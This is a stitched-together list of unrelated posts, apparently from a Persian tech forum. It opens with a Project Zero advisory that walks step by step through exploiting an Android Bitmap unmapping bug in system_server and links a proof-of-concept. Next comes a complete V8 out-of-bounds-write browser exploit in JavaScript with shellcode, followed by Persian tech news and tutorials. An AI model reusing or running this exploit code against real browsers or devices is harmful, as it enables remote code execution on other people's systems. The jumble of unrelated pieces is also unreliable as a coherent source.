  10. Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=928 Bitmap objects can be passed between processes by flattening them to a Parcel in one process and un-flattening them in another. In order to conserve memory, there exists a code path which allows Bitmaps to be shared between processes by providing an ashmem-mapped file descriptor containing the Bitmap's raw pixel data. The android.graphics.Bitmap class illegally assumes that the size of the ashmem region provided by the user matches the actual underlying size of the Bitmap. When un-flattening a Bitmap from a Parcel, the class first calculates the assumed size of the Bitmap from the user-provided dimensions. Then, it calls Parcel::readBlob in order to map the given ashmem file descriptor to the process's VAS. This mapping is done using the size calculated from the Bitmap's dimensions (and not the size of the underlying ashmem descriptor). Later, the Bitmap constructor internally stores the ashmem file descriptor and mapped memory address, along with the size of the mapping. However, instead of using the same calculated size which was used when mapping the shared memory region, it accidentally queries the ashmem region for its real size, like so: mPixelStorage.ashmem.size = ashmem_get_size_region(fd); This size can be completely controlled by an attacker (simply by calling ASHMEM_SET_SIZE), and may be arbitrary large. Later, when the Bitmap is GC-ed, the destructor triggers a call to Bitmap::doFreePixels which unmaps the Bitmap's data, by calling: munmap(mPixelStorage.ashmem.address, mPixelStorage.ashmem.size); This means that an attacker can cause the size of the unmapped region to be arbitrarily large, thus unmapping crucial regions in the remote process's VAS. One example of how this can be exploited is by unmapping the remote process's heap (which is directly after the mmap-ed ranges on the device I was working on). Then, the attacker can resend a large Bitmap which will be mapped over the (previously unmapped) heap, thus allowing the attacker to effectively replace the remote process's heap with controlled data. I've attached a short PoC which crashes system_server by repeatedly unmaps large memory regions. Suggested Fix: Store the calculated size in mPixelStorage.ashmem.size instead of calling ashmem_get_size_region. Here's a brief run-down of the exploit: 1. The exploit begins by calling AudioService.unloadSoundEffects in order to close the SoundPool instance in system_server. This also closes any auxiliary threads (SoundPool, SoundPoolThread, etc.) that are associated with this pool. 2. Now, we start "massaging" system_server's VAS. This is done by creating multiple "Notification" objects which contain Bitmaps that are of exactly the same size at a thread's stack, when created by the ART runtime. As the bitmaps are allocated by using "mmap", they will simply inhabit the highest memory address between mm->mmap_base and TASK_SIZE which contains a sufficiently large contiguous hole. Causing many allocations of the aforementioned size will ensure that any "holes" of this size in higher addresses are filled, and the remaining "mmap"-s of this size will be contiguous. 3. Now that we are certain allocations of size THREAD_SIZE are contiguous, we replace one of notifications created in the previous stage with a notification containing a small (or empty) bitmap, and immediately send multiple dummy transactions to system_server in order to force garbage collection of the freed bitmap object. This will enable us to open up a "hole" in the contiguous allocations, like so: <--low high--> ---------------------------------------------------------------- | Bitmap | Bitmap | Bitmap | Bitmap | Bitmap | Bitmap | Bitmap | ---------------------------------------------------------------- || \/ <--low high--> ---------------------------------------------------------------- | Bitmap | Bitmap ||||hole|||| Bitmap | Bitmap | Bitmap | Bitmap | ---------------------------------------------------------------- 4. Now that there's a THREAD_SIZE-sized hole opened up, we can call AudioSystem.loadSoundEffects() in order to re-create the SoundPool object within system_server. This will allocate a new "SoundPoolThread" thread in system_server, which (after brief initialization) enters a polling loop on a condition variable (or rather, a futex), waiting for messages to be enqueued. However, this thread's stack will be directly mmap-ed in our previously created hole, like so: <--low high--> --------------------------------------------------------------------------- | Bitmap | Bitmap |SoundPoolThread stack| Bitmap | Bitmap | Bitmap | Bitmap | --------------------------------------------------------------------------- 6. Now, similarly to step 3., we can free the chunk directly before the previously unmapped chunk, creating the following state: <--low high--> ----------------------------------------------------------------------------- | Bitmap ||||hole||||SoundPoolThread stack| Bitmap | Bitmap | Bitmap | Bitmap | ----------------------------------------------------------------------------- 6. Finally, we send our "poisoned" bitmap object, which should get allocated directly in front of the SoundPoolThread's stack. Then, we force garbage collection once more, resulting in both the bitmap and the SoundPoolThread's stack being unmapped. However, since the SoundPoolThread is still waiting on a futex, this is fine. Here's what this stage looks like: <--low high--> -------------------------------------------------------------------------------- | Bitmap |Poison Bitmap|SoundPoolThread stack| Bitmap | Bitmap | Bitmap | Bitmap | -------------------------------------------------------------------------------- || \/ <--low high--> -------------------------------------------------------------------------------- | Bitmap ||||||||||||||||hole||||||||||||||||| Bitmap | Bitmap | Bitmap | Bitmap | -------------------------------------------------------------------------------- 7. At this point we can enqueue another notification, this time backed by a specially crafted ashmem file, containing two separate pieces of information: a. A chunk of position independent ARM/ARM64 code, followed by b. A ROP stack This notification will be of size THREAD_SIZE*2, and will therefore fill up the hole we just set up, resulting in the following state: <--low high--> ------------------------------------------------------------------- | Bitmap | PIC code | ROP Stack | Bitmap | Bitmap | Bitmap | Bitmap | ------------------------------------------------------------------- 8. Now, we can safely call AudioService.unloadSoundEffects() once more. This will signal the condition variable that SoundPoolThread was waiting on, but now when it returns it will be executing our own ROP stack. The ROP stack simply mmap-s the ashmem file descriptor with PROT_EXEC and jumps into it (essentially executing the PIC code we supplied). Proofs of Concept: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40874.zip
  11. // Source: https://halbecaf.com/2017/05/24/exploiting-a-v8-oob-write/ // // v8 exploit for https://crbug.com/716044 var oob_rw = null; var leak = null; var arb_rw = null; var code = function() { return 1; } code(); class BuggyArray extends Array { constructor(len) { super(1); oob_rw = new Array(1.1, 1.1); leak = new Array(code); arb_rw = new ArrayBuffer(4); } }; class MyArray extends Array { static get [Symbol.species]() { return BuggyArray; } } var convert_buf = new ArrayBuffer(8); var float64 = new Float64Array(convert_buf); var uint8 = new Uint8Array(convert_buf); var uint32 = new Uint32Array(convert_buf); function Uint64Add(dbl, to_add_int) { float64[0] = dbl; var lower_add = uint32[0] + to_add_int; if (lower_add > 0xffffffff) { lower_add &= 0xffffffff; uint32[1] += 1; } uint32[0] = lower_add; return float64[0]; } // Memory layout looks like this: // ================================================================================ // |a_ BuggyArray (0x80) | a_ FixedArray (0x18) | oob_rw JSArray (0x30) | // -------------------------------------------------------------------------------- // |oob_rw FixedDoubleArray (0x20) | leak JSArray (0x30) | leak FixedArray (0x18) | // -------------------------------------------------------------------------------- // |arb_rw ArrayBuffer | // ================================================================================ var myarray = new MyArray(); myarray.length = 9; myarray[4] = 42; myarray[8] = 42; myarray.map(function(x) { return 1000000; }); var js_function_addr = oob_rw[10]; // JSFunction for code() // Set arb_rw's kByteLengthOffset to something big. uint32[0] = 0; uint32[1] = 1000000; oob_rw[14] = float64[0]; // Set arb_rw's kBackingStoreOffset to // js_function_addr + JSFunction::kCodeEntryOffset - 1 // (to get rid of Object tag) oob_rw[15] = Uint64Add(js_function_addr, 56-1); var js_function_uint32 = new Uint32Array(arb_rw); uint32[0] = js_function_uint32[0]; uint32[1] = js_function_uint32[1]; oob_rw[15] = Uint64Add(float64[0], 128); // 128 = code header size // pop /usr/bin/xcalc var shellcode = new Uint32Array(arb_rw); shellcode[0] = 0x90909090; shellcode[1] = 0x90909090; shellcode[2] = 0x782fb848; shellcode[3] = 0x636c6163; shellcode[4] = 0x48500000; shellcode[5] = 0x73752fb8; shellcode[6] = 0x69622f72; shellcode[7] = 0x8948506e; shellcode[8] = 0xc03148e7; shellcode[9] = 0x89485750; shellcode[10] = 0xd23148e6; shellcode[11] = 0x3ac0c748; shellcode[12] = 0x50000030; shellcode[13] = 0x4944b848; shellcode[14] = 0x414c5053; shellcode[15] = 0x48503d59; shellcode[16] = 0x3148e289; shellcode[17] = 0x485250c0; shellcode[18] = 0xc748e289; shellcode[19] = 0x00003bc0; shellcode[20] = 0x050f00; code();
  12. باسلام. معین سون هستم . طی درخواست هایی که از سوی کاربران مبنی بر آموزشات برنامه نویسی اندروید بوده , بنده تصمیم دارم تا دوره اموزشی برنامه نویسی اندروید به صورت مقدماتی و پیشرفته برگزار کنم . از دوستان خواهشمندم که سوالات و مشکلات خود را در بخش پرسش و پاسخ مطرح کنند تا جواب بگیرند و در غیر این صورت پاک خواهد شد . باتشکر
  13. باسلام. معین سون هستم . طی درخواست هایی که از سوی کاربران مبنی بر آموزشات برنامه نویسی اندروید بوده , بنده تصمیم دارم تا دوره اموزشی برنامه نویسی اندروید به صورت مقدماتی و پیشرفته برگزار کنم . دوره آموزشی مقدماتی در این تاپیک و پس از پایان دوره پیرفته اغاز خواهد شد . از دوستان خواهشمندم که سوالات و مشکلات خود را در بخش پرسش و پاسخ مطرح کنند تا جواب بگیرند و در غیر این صورت پاک خواهد شد . باتشکر
  14. Programming-Android

    XML سرنام واژگان EXtensible Markup Language (زبان نشانه گذاری توسعهپذیر) به‌حساب می‌آید. XML چیست؟ XML سرنام واژگان EXtensible Markup Language بحساب می آید. XML یک زبان نشانه گذاری است که شباهت زیادی به HTML دارد. XML برای توصیف داده‌ها طراحی شده است، نه برای نمایش داده‌ها تگ‌های XML از قبل تعریف نشده‌اند . خودتان‌باید تگ ها را تعریف کنید XML به صورت "خود توصیفی" طراحی شده است. XML از طرف W3C توصیه می‌شود تفاوت بین XML و HTML XML جایگزینی برای HTML نیست. XML و HTML برای اهداف متفاوتی طراحی شده‌اند. XML برای توصیف داده‌ها و تمرکز بر محتوای داده‌ها طراحی شده است HTML برای نمایش داده‌ها و نحوه‌ی نمایش داده‌ها طراحی شده است HTML مخصوص نمایش داده‌ها است در حالی که XML مخصوص انتقال اطلاعات است. XML هیچ کاری انجام نمی‌دهد شاید فهم این مسئله کمی سخت باشد ولی XML هیچ کاری انجام نمی‌دهد. مثال زیر متنی است برای Tove از طرف Jani که با XML نوشته شده: <note> <to>Tove</to> <from>Jani</from> <heading>Reminder</heading> <body>Don't forget me this weekend!</body> </note> توجه داشته باشید که متن بالا کاملا "خود‌ توصیفی" است. این متن اطلاعاتی در مورد ارسال کننده(from) و دریافت کننده (to) دارد و همچنین دارای یک عنوان (heading) و یک پیغام (body) است. اما این سند XML هنوز هیچ کاری انجام نمی‌دهد و تنها اطلاعاتی است که درون تگ‌ها قرار گرفته است. یک نفر باید برای ارسال،دریافت یا نمایش این سند برنامه‌ای بنویسد. توسط XML شما تگ‌های خودتان را می‌سازید تگ‌های مثال بالا (مثل <to> و <from>) در هیچ استانداردی برای XML تعریف نشده‌اند . این تگ‌ها توسط نویسنده این سند XML ساخته شده‌اند به دلیل این که زبان XML هیچ تگ از پیش تعریف شده‌ای ندارد. تگ‌هایی که درون HTML استفاده می‌شوند از قیل تعریف شده‌اند. یک سند HTML فقط می‌تواند از تگ‌هایی استفاده کند که در استاندارد HTML تعریف شده باشند(مثل <h1> ، <p> و ...) XML اجازه می‌دهد که نویسنده خودش ، تگها و همچنین ساختار سند را تعریف کند. XML یک جایگزین برای HTML نیست XML کامل کننده HTML است. این خیلی مهم است که بدانید XML جایگزینی برای HTML نیست. در بیشتر وبسایت‌ها ، XML برای تعریف اطلاعات استفاده شده است در حالی که HTML برای فرمت و نمایش اطلاعات استفاده شده است. بهترین تعریف من از XML این است: XML یک ابزار مستقل از نرم‌افزار و سخت‌افزار برای انتقال اطلاعات است. XML از طرف W3C پیشنهاد میشود XML از تاریخ February 10, 1998 توسط سازمان W3c پیشنهاد شده است.
  15. Soft-Android

    نرم افزار Google Chrome: Fast & Secure Google Chrome: Sicher surfen – Android-Apps auf Google Play
  16. Programming-HTML

    با سلام دکتر هستم...! آموزش html5 در ادامه ...!
  17. در ماه های گذشته خبرهایی درباره سیستم جدید فشرده سازی تصاویر گوگل که از هوش مصنوعی برای این کار کمک میگرفت منتشر شد. به ادعای گوگل این الگوریتم که RAISR نام دارد قادر است با استفاده از پیکسل های اطراف هر پیکسل مشخص و بررسی داده های آنها، اطلاعات هر بخش را تشخیص داده و برای بزرگنمایی و یا فشرده سازی تصویر از آنها استفاده کند که نتیجه این کار بهبود قابل ملاحظه تصویر نهایی می باشد. این کمپانی امروز اعلام کرد الگوریتم جدیدی را با موفقیت توسعه داده که می تواند حجم تصاویر با فرمت JPEG را بدون افت کیفیت تا 35 درصد کاهش دهد. این الگوریتم جدید که Guetzli نام دارد در واقع یک کد کننده جدید JPEG است که در زمان ایجاد تعادل بین جزئیات قابل حذف برای کاهش حجم، عملکرد به خصوصی را انجام داده و این کار را بدون افت کیفیت به پایان می رساند. مشابه الگوریتم RAISR، اینجا هم از مدلی فیزیوویژوال برای کاهش حجم تصویر استفاده می شود که رنگ ها را تخمین زده و از یک ماسک بصری دقیق تر نسبت به سایر کد کننده های تصویر استفاده می کند. با این وجود افزایش دقت باعث شده زمان مورد نیاز برای فشرده سازی تصویر با این الگوریتم کمی بیشتر از الگوریتم های رایج فعلی باشد. به گفته گوگل Guetzli به صورت رایگان و متن باز در دسترس همگان قرار گرفته و توسعه دهندگان می توانند برنامه های اختصاصی خود را برای کاهش تصاویر مورد نیاز در محتوای آنلاین به کمک آن عرضه کنند. فشرده سازی بیشتر تصاویر در درجه اول منجر به کاهش حجم تصاور خواهد شد که به نوبه خود باعث کاهش حجم مصرفی اینترنت و هزینه های کاربران می شود.
  18. آیا تاکنون به اجرای اپلیکیشن های اندروید بدون نصب آن فکر کرده اید؟ به اجرای اپلیکیشن ها در پلتفرم های دیگر چطور؟ آیا برنامه های اندروید در پلتفرم های دیگر نیز کاربردی است؟ مایکروسافت نسخه ی پیش نمایش این برنامه را ارائه کرده است که به کاربر این اجازه را میدهد تا بدون دانلود برنامه ها در ویندوز 10 از آنها استفاده کنند. زمانی که روی برنامه ی مورد نظرتان، برای مشاهده کلیک میکنید به مدت 3 دقیقه میتوانید با آن کار کنید و عملکرد آن را بررسی کنید. سپس زمانی که بررسی ها تمام شد و از برنامه ی مورد نظر خوشتان آمد؛ میتوانید در Windows Store آن را تهیه کنید. این محدودت زمانی، برای اجرای برنامه ها، ممکن است در بازی ها آزار دهنده باشد؛ زیرا تمام قسمت های بازی در 3 دقیقه قابل مشاهده بررسی نیست. ولی با این حال این حرکت مایکروسافت، از یک تکه عکس و فیلم از برنامه های خیلی بهتر است. همچنین این کار برای توسعه دهندگان نیز زیاد پیچیده نیست؛ چرا که کافیست یک دکمه ی Try now طراحی کنند و بقیه ی کار را به عهده ی خود مایکروسافت بگذارند. با این که این ایده برای بررسی و انتخاب برنامه ها بسیار خوب است ولی برای کسانی که برنامه هایشان را از Windows Store تهیه نمیکنند این مسئله اهمیت چندانی ندارد. www.sakhtafzarmag.com
  19. احتمالا شما هم در زمان ورود به حساب کاربریتان در یک وب سایت و یا حتی در زمان جست و جو در اینترنت با کادرهایی مواجه شده اید که از شما می خواهند کلمات یا اعدادی را که در یک تصویر وجود دارند تایپ کنید تا به این ترتیب اجازه ادامه کار از سوی وب سایت به شما داده شود. این روش که با نام کپچا شناخته می شود برای جلوگیری از گسترش روبات ها و بدافزارها و اینترنت توسعه پیدا کرده و در سال های گذشته شاهد تغییراتی نیز بوده است. برای مثال در سال های دور تنها شاهد نمایش چند حرف و یا عدد بودیم و بعدتر این حروف آنقدر پیچیده شدند که تشخیص آنها برای انسان ها نیز دشوار بود (چه رسد به برنامه های رایانه ای). گوگل در سال 2009 تیم توسعه دهنده این تکنیک یعنی Recaptcha را خریداری کرد و تغییراتی در راستای هوشمند تر کردن آن ایجاد نمود که شاید بارزترین آنها باکس های "من یک روبات نیستم" باشند. در این باکس ها تصاویری نمایش داده می شوند و از کاربر خواسته می شود مواردی را که دارای یک وجه مشترک (مانند درخت، کوه و...) هستند انتخاب کنند تا به این ترتیب بتوان انسان ها را از روبات های اینترنتی تشخیص داد. اما امروز گوگل در بیانیه ای اعلام کرد ادامه توسعه نسل فعلی کپچا را متوقف خواهد کرد و در عوض با استفاده از الگوریتم های هوش مصنوعی راهکار حرفه ای تر و دقیق تری را برای تشخیص انسان از روبات ها به کار خواهد برد. این ساختار جدید که "کپچای نامرئی" یا Invisible Captchaa نام دارد تمامی تست ها، سوالات گزینه ای و تصاویر را حذف کرده و در عوض از الگوی جست و جوی کاربران در اینترنت آنها را شناسایی خواهند کرد. به گفته گوگل استفاده از کپچای نامرئی ترکیبی از هوش مصنوعی و تحلیل ریسک پیشرفته خواهد بود که می تواند عملکرد بهتری نسبت به سیستم های قدیمی داشته باشد. مشخص نیست توسعه چنین روشی برای گوگل چه سودی خواهد داشت اما به گفته یکی از کارمندان سابق این شرکت "هر چیزی که برای اینترنت و کاربران آن نفع داشته باشد بدون شک برای گوگل هم مفید خواهد بود" و به نظر می رسد اینجا هم همین استراتژی دنبال شده است. در نتیجه باید گفت به زودی با یکی دیگر از آیکون های اینترنت کلاسیک نیز خداحافظی خواهیم کرد. کپچا که زمانی در کنار چت روم ها، اینترنت اکسپلورر و بنرهای فلش جزو ستون های ثابت وب سایت های اینترنتی به حساب می آمد، باید به تدریج جای خود را به روش های جدیدتر و هوشمندتر بدهد. اما بر خلاف موارد قبلی به نظر نمی رسد هیچ کاربری از ندیدن کپچا در صفحه های ورود به حساب های کاربری ناراحت شود. www.sakhtafzarmag.com
  20. زبان های تحت وب : که خود به دو دسته تقسیم می شوند : 1-سمت کلاینت : زبان هایی مانند html , css , javascript , jquery که وقتی بازدید کنند از سایت دیدن میکند این زبان ها وارد عمل شده ! 2- سمت سرور : زبان های مانند php , asp , jsp در بین این زبان ها php & jsp کاربرد دارند و دیگر asp منسوخ شده ! ( اما در کشور ما اینگونه نیست) زبان های تحت دسکتاپ : زبان های مانند : c# , c++,f,assembly,lisp,vb,… ازین دسته هستند ! هر کدام از این زبان ها کارایی خاصی دارند 20 زبان برتر در سال 2014 : Java C C++ Python C# PHP JavaScript Ruby R MATLAB Perl SQL Assembly HTML Visual Basic Objective-C Scala Shell Arduino Go این زبان ها هرکدام کارایی خاص خود را دارند اما اگر زبان همه کاره ای میخواهید به سراغ c# بروید ! چون در همه ی صحنه ها حرفی برای گفتن دارد ! اگر زبانی پرقدرت و پر سرعت و میخواهید که در کرک کردن به شکا کمک کند به سراغ اسمبلی بروید ! اگر برای کار های علمی میخواهید برنامه نویسی را یاد بگیرید باید سراغ زبان هایی مانند matlab , fortran بروید اگر میخواهید زبانی کوچک و جالب و گوگولی مگولی میگردید به سراغ زبان جدید شرکت گوگل به نام گو بروید ! زبان هایی هم برای پایگاه داده ساخته شده این که ساده و خوب هستند مانند اس کیو ال اما اگر شما آدم حرفه ای هستید و با زبان های بالا ارضا نمیشوید باید زبان های اسکریپتینگ را یاد بگیرید ! زبان های اسکریپتینگ عبارت است از : 1- python : زبانی قدرتمند ساده و پرکار برد که یادگیری این زبان نیازی ضرروی برای تمام هکر هاست ! 2- perl : زبانی قدرتمند کمی سخت تر از پایتون ! و جز بهترین زبان ها برای نوشتن اکسپلویت ! 3-ruby : زبانی عالی که حتی گوگل هم با این زبان نوشته شده است ! و هم تحت دسکتاپ و وب است ! 4- lua : زبانی عالی برای بازی سازی 5- php 6- java script 7-sed
  21. گوگل ابزاری به‌صورت هوش مصنوعی عرضه کرده است که کنترل و حذف پیام‌ها و نظرات غیر اخلاقی و اسپم را مدیریت می‌کند. شرکت گوگل اخیرا اعلام کرده است که ابزاری به‌صورت هوش مصنوعی برای رسانه‌ها عرضه خواهد کرد که برای مدیریت و حذف کامنت‌های توهین‌آمیز و اسپم استفاده خواهد شد. این ابزار که با نام Perspective شناخته می‌شود، با هدف کمک به مدیران و ویراستاران بخش نظرات وب‌سایت‌های رسانه‌ای طراحی شده است. گوگل بر این باور است که این ابزار می‌تواند کامنت‌های بی‌ربط و توهین‌آمیز و اصطلاحا ترول‌ها را شناسایی و حذف کند. به عقیده‌ی این شرکت، این نوع از بحث‌ها و کامنت‌ها، مانع از شکل‌گیری فضایی سالم برای بحث در فضای آنلاین هستند. جرد کوهن، مدیر انکوباتور Jigsaw از زیرمجموعه‌های گوگل در پستی وبلاگی در این باره می‌گوید: «۷۲ درصد از کاربران اینترنت در آمریکا، شاهد آزارها و مزاحمت‌های آنلاین بوده‌اند و نیمی از آن‌ها، این آزارها را تجربه کرده‌اند. یک‌سوم از کاربران اینترنت، به خاطر ترس از محاکمه، رفتارهای خود را مدیریت و سانسور می‌کنند.» Perspective را می‌توان یک API نامید که از یادگیری ماشینی برای کشف ارتباط کامنت‌ها با دیگر کاربران و پیش‌بینی عکس‌العمل آن‌ها استفاده می‌کند. این سیستم به‌صورت رایگان برای گروه‌های رسانه‌ای و وب‌سایت‌های شبکه‌ی اجتماعی عرضه می‌شود و در حال حاضر توسط رسانه‌هایی مانند اکونومیست، گاردین، نیویورک‌تایمز و ویکی‌پدیا در حال آزمایش شدن است. بسیاری از رسانه‌های خبری، به خاطر کمبود نیروی انسانی برای مدیریت بخش نظرات، این بخش را غیر فعال کرده‌اند. کوهن امیدوار است ابزار جدید آن‌ها بتواند این مشکل را حل کند. گوگل از ماه سپتامبر، این ابزار را در وب‌سایت نیویورک‌تایمز تست کرده است. این رسانه‌ی خبری با استفاده از این ابزار سعی داشته تا فضایی «متمدن و عقلانی» را در بخش نظرات خود حاکم کند. وظیفه‌ی اولیه‌ی سیستم پرسپکتیو، شناسایی پیام‌های نامناسب در زبان انگلیسی است؛ اما کوهن اعلام کرده که هدف اصلی، ساختن سیستمی برای کنترل همه‌ی زبان‌ها است. این سیستم در نهایت خواهد توانست تمامی پیام‌ها و نظرات غیر عقلانی و خارج از بحث را شناسایی کند. توییتر نیز در ابتدای ماه جاری اعلام کرده بود که قوانین و راه‌حل‌هایی جدید برای مقابله با توهین‌های آنلاین اجرا خواهد کرد. این سرویس، منتشرکنندگان این پیام‌ها را شناسایی می‌کند و اجازه‌ی ساخت حساب‌های کاربری جدید به آن‌ها نمی‌دهد. حذف شدن از نتایج جستجوی آنلاین نیز از دیگر عواقب این توهین‌ها خواهد بود. سال گذشته‌ی میلادی، شرکت‌های گوگل، توییتر، فیسبوک و مایکروسافت، تفاهم‌نامه‌ای با اتحادیه‌ی اروپا امضا کردند که طبق آن، همه‌ی شرکت‌ها متعهد شدند هرگونه محتوای توهین‌آمیز و غیراخلاقی گزارش‌شده را ظرف مدت ۲۴ ساعت شناسایی کنند.
×